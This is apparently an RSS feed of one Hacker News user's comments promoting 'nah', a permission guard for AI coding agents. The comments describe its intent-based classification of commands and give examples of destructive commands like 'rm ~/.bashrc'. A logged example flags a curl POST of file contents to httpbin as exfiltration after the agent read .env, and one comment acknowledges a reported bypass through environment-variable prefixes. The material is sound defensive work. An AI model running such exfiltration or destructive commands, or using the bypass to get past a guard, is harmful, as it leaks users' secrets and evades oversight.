<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: schipperai</title><link>https://news.ycombinator.com/user?id=schipperai</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Mon, 27 Apr 2026 17:49:11 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=schipperai" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by schipperai in "I bought Friendster for $30k – Here's what I'm doing with it"]]></title><description><![CDATA[
<p>100%. The exclusivity of the network is the differentiator here.</p>
]]></description><pubDate>Mon, 27 Apr 2026 10:45:53 +0000</pubDate><link>https://news.ycombinator.com/item?id=47919917</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47919917</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47919917</guid></item><item><title><![CDATA[New comment by schipperai in "An AI agent deleted our production database. The agent's confession is below"]]></title><description><![CDATA[
<p>Agent permissions layer are broken. We need better a permissions layer that doesn’t get in the way but stops destructive commands. Devs get pushed into running yolo mode cause classifying allow / deny by command is not enough. A sandbox would not have prevented this either.<p>“nah” is a context aware permission layer that clasifies commands based on what they actually do<p>nah exposes a type taxonomy: filesystem_delete, network_write, db_write, etc<p>so commands gets classified contextually:<p>git push  ; Sure.
git push --force ; nah?<p>rm -rf __pycache__ ; Ok, cleaning up.
rm ~/.bashrc ; nah.<p>curl harmless url ; sure.
curl destroy_db ; nah.<p><a href="https://github.com/manuelschipper/nah" rel="nofollow">https://github.com/manuelschipper/nah</a><p>Better permissions layers is part of the answer here, and a space that has been only narrowly explored.</p>
]]></description><pubDate>Mon, 27 Apr 2026 09:45:18 +0000</pubDate><link>https://news.ycombinator.com/item?id=47919570</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47919570</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47919570</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>nah inspects Write and Edit content before it hits disk so destructive patterns like os.unlink, rm -rf, shell injection get flagged. And executing the result (./evil) classifies as unknown resolves to ask, which the LLM can choose to blocks or ask you to approve.<p>But yeah, a truly adversarial agent needs a sandbox. It's a different threat model - nah is meant to catch the trusted but mistake-prone coding CLI, not a hostile agent.</p>
]]></description><pubDate>Fri, 13 Mar 2026 13:57:11 +0000</pubDate><link>https://news.ycombinator.com/item?id=47364543</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47364543</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47364543</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>great callout - tool call can have side-effects outside your box. So unless you run a sandbox with no internet access, you aren't ever 100% safe.<p>nah does guard some of this - reading .env or ~/.aws/credentials gets flagged, and Write/Edit content is inspected for secrets before it leaves the tool.<p>Docker + filtered mounts + something like nah on top is a solid layered approach that is still practical.</p>
]]></description><pubDate>Fri, 13 Mar 2026 13:45:09 +0000</pubDate><link>https://news.ycombinator.com/item?id=47364392</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47364392</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47364392</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>They are releasing auto-mode soon. But that won't improve the underlying permission system, rather, it'll just delegate decisions to Claude. That's better than --dangerously-skip-permissions, but not great for those that want granular controls and are sensitive to the extra tokens spent.</p>
]]></description><pubDate>Fri, 13 Mar 2026 13:38:07 +0000</pubDate><link>https://news.ycombinator.com/item?id=47364304</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47364304</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47364304</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>which commands specifically? would be great to see examples<p>nah classifies piped grep/find as filesystem_read which flows through silently:<p>'find . -name '*.py' | grep utils' or 'grep -r'import' src/ | head -20' both resolve to allow with no prompt.<p>Would be curious which incantations are tripping you up, maybe it's something we can solve.</p>
]]></description><pubDate>Thu, 12 Mar 2026 15:28:35 +0000</pubDate><link>https://news.ycombinator.com/item?id=47352168</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47352168</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47352168</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>allowlists are stronger than blocklists - that's not debatable and right there with you<p>but nah isn't a pure blocklist - anything that doesn't match a known pattern classifies as unknown which defaults to ask (user gets prompted). It's not "allow all traffic, block each attacker" it's allow known-safe, block known-dangerous, prompt for everything else.<p>the analogy doesn't carry that far... it's a different threat model: nah isn't containing rogue agents or adversarial actors, it's a guardrail for a trusted but mistake-prone agent.<p>maybe more akin to a junior employee accidentally dropping the database cause they didn't know better. but how are they supposed to work on prod? They ask "boss, can I run this? SELECT customer, sales FROM SALES.PROD..." You say: cool, You don't have to ask me again for SELECT (nah allow db_read).<p>But then they can ask- "can I run this? drop SALES.PROD?".... hmmm, nah.</p>
]]></description><pubDate>Thu, 12 Mar 2026 15:23:02 +0000</pubDate><link>https://news.ycombinator.com/item?id=47352065</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47352065</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47352065</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>Thanks! In my own work the LLM only fires for 5% of the commands - big token savings.<p>When it does kick in it gets: the command itself, the action type + why it was flagged - for example 'lang_exec = ask', the working directory and project context so it knows if its inside the project, and recent conversation transcript - 12k charts by default and configurable.<p>The transcript context is pulled from Claude Code's JSONL conversation log. Tool calls get summarized compactly  like [Read: .env], [Bash: curl ...]) so the LLM can see the chain of actions without blowing up the prompt. I also include anti-injection framing in the prompt so that it does't try and run the instructions in the transcript.<p>curl after the agent read .env does get flagged by nah:<p>'''
curl -s <a href="https://httpbin.org/post" rel="nofollow">https://httpbin.org/post</a> -d @/tmp/notes.txt
POST notes.txt contents to httpbin<p>Hook PreToolUse:Bash requires confirmation for this command:
nah? LLM suggested block: Bash (LLM): POSTing file contents to external host. Combined with recent conversation context showing credential files being read, this appears to be data exfiltration. Even though httpbin.org is a legitimate ech...
'''</p>
]]></description><pubDate>Thu, 12 Mar 2026 14:58:33 +0000</pubDate><link>https://news.ycombinator.com/item?id=47351564</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47351564</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47351564</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>thank! and I agree with you on chain exfiltration - it's a hard one to protect against. nah passes the last few messages of conversation history to the LLM gate, so it may be able to catch this scenario, but it's hard from a guarantee. I plan to add a gate where an LLM reads scripts before executing, which will also mitigate this.<p>The right solution though is a monitoring service on your network that checks for exfiltration of credential. nah is just one layer in the stack.</p>
]]></description><pubDate>Thu, 12 Mar 2026 12:38:30 +0000</pubDate><link>https://news.ycombinator.com/item?id=47349758</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47349758</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47349758</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>Good catch, that's a legit bypass<p>nah strips env var prefixes before classifying the command but doesn't inspect their values for embedded shell execution, I'll fix it: <a href="https://github.com/manuelschipper/nah/issues/6" rel="nofollow">https://github.com/manuelschipper/nah/issues/6</a><p>On the broader write-then-execute point - two improvements are coming:<p>- Script execution inspection: when nah sees python script.py, read the file and run content inspection and LLM analysis before execution<p>- LLM inspection for Write/Edit: for content that's suspicious but doesn't match any deterministic pattern, route it to the LLM for a second opinion<p>Won't close it 100% - to your point a sandbox is the answer to that.<p>I don't think "security tool" and "not a sandbox" are contradictory though. Firewalls don't replace OS permissions, OS permissions don't replace encryption<p>nah is just another layer that catches the 95% that's structurally classifiable. It's a different threat model. If 200 IQ Opus is rogue deterministic tools or even adversarial one shot LLMs won't be able to do much to stop it...</p>
]]></description><pubDate>Thu, 12 Mar 2026 11:17:17 +0000</pubDate><link>https://news.ycombinator.com/item?id=47349113</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47349113</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47349113</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>looks neat! and fits perfectly with nah. I can see enterprises starting to care more about this as more people adopt coding CLIs and prod goes <i>boom</i> more often.</p>
]]></description><pubDate>Thu, 12 Mar 2026 11:04:31 +0000</pubDate><link>https://news.ycombinator.com/item?id=47349035</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47349035</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47349035</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>hey - ntfy is very cool! kudos and thanks :)</p>
]]></description><pubDate>Thu, 12 Mar 2026 10:38:55 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348830</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348830</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348830</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>Very cool approach! the immutable log file fits well with nah. I'll take it into account for richer audit trail capabilities. Would be curious to see your hook implementation if its public anywhere</p>
]]></description><pubDate>Thu, 12 Mar 2026 10:37:09 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348811</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348811</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348811</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>Every single tool call goes thru nah, including Write and Edit. nah checks the paths: is it outside your project? flags it as ask. nah log shows every decision so you can audit yourself...<p>However, in terms of code quality and regressions - I also wrote about my workflow for keeping agents controlled:   <a href="https://schipper.ai/posts/parallel-coding-agents/" rel="nofollow">https://schipper.ai/posts/parallel-coding-agents/</a> basically no code changes until the plan is signed off, if big enough, a task gets its own worktree to avoid conflicts between agents.<p>nah was built with this method and I am very happy with the code quality. I personally only do "accept edits on" when the plan is fully signed off and ready to implement. Every edit goes thru me otherwise.<p>Between nah and FDs, things stay pretty tight even with 5+ agents in parallel.</p>
]]></description><pubDate>Thu, 12 Mar 2026 10:21:51 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348673</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348673</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348673</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>cool - which models are you seeing 100% on adversarial input? I'd love to see the benchmark if you published it somewhere. In my recent sessions while building nah, the deterministic layer handled about 95% of inputs with zero latency/tokens over 13.5k tool calls, 1.5 days of coding, 84% allowed, 12% asked, 5% blocked. All decision logged to ~/.config/nah/nah.log - so you can audit its efficiency</p>
]]></description><pubDate>Thu, 12 Mar 2026 09:56:41 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348506</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348506</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348506</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>thx! yeah git push is intentionally allowed, it's normal dev workflow operation. but git push --force on the other hand gets flagged as 'git_history_rewrite = ask'.<p>if you want regular push to also require approval you can set that in your config with nah deny git_write and you get other 'git_writes = ask' for free.</p>
]]></description><pubDate>Thu, 12 Mar 2026 09:50:33 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348466</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348466</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348466</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>You are welcome!</p>
]]></description><pubDate>Thu, 12 Mar 2026 09:46:27 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348444</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348444</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348444</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>100% - lots of commands with server side effects out there</p>
]]></description><pubDate>Thu, 12 Mar 2026 09:45:41 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348435</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348435</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348435</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>every security layer is a race to the bottom if you frame it that way - we are still using firewalls, sandboxes, OS permissions etc.<p>perfect security doesn't exist, practical security does.</p>
]]></description><pubDate>Thu, 12 Mar 2026 09:44:44 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348426</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348426</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348426</guid></item><item><title><![CDATA[New comment by schipperai in "Show HN: A context-aware permission guard for Claude Code"]]></title><description><![CDATA[
<p>it's not a deny list. there are no "bad commands" - commands map to intent (filesystem_delete, network_outbound, lang_exec, etc.) and policies apply to intents.<p>the context policy was the big "aha" moment for me where the same command can trigger a different decision depending where you are on rm __pycache__ inside the project is fine, rm ~/.bashrc is not.<p>but.. nah won't catch an agent that does a set of actions that look normal and you approve - stateless hooks have limits, but for most stuff that's structurally classifiable, I find that it works very well without being intrusive to my flow.</p>
]]></description><pubDate>Thu, 12 Mar 2026 09:40:12 +0000</pubDate><link>https://news.ycombinator.com/item?id=47348403</link><dc:creator>schipperai</dc:creator><comments>https://news.ycombinator.com/item?id=47348403</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47348403</guid></item></channel></rss>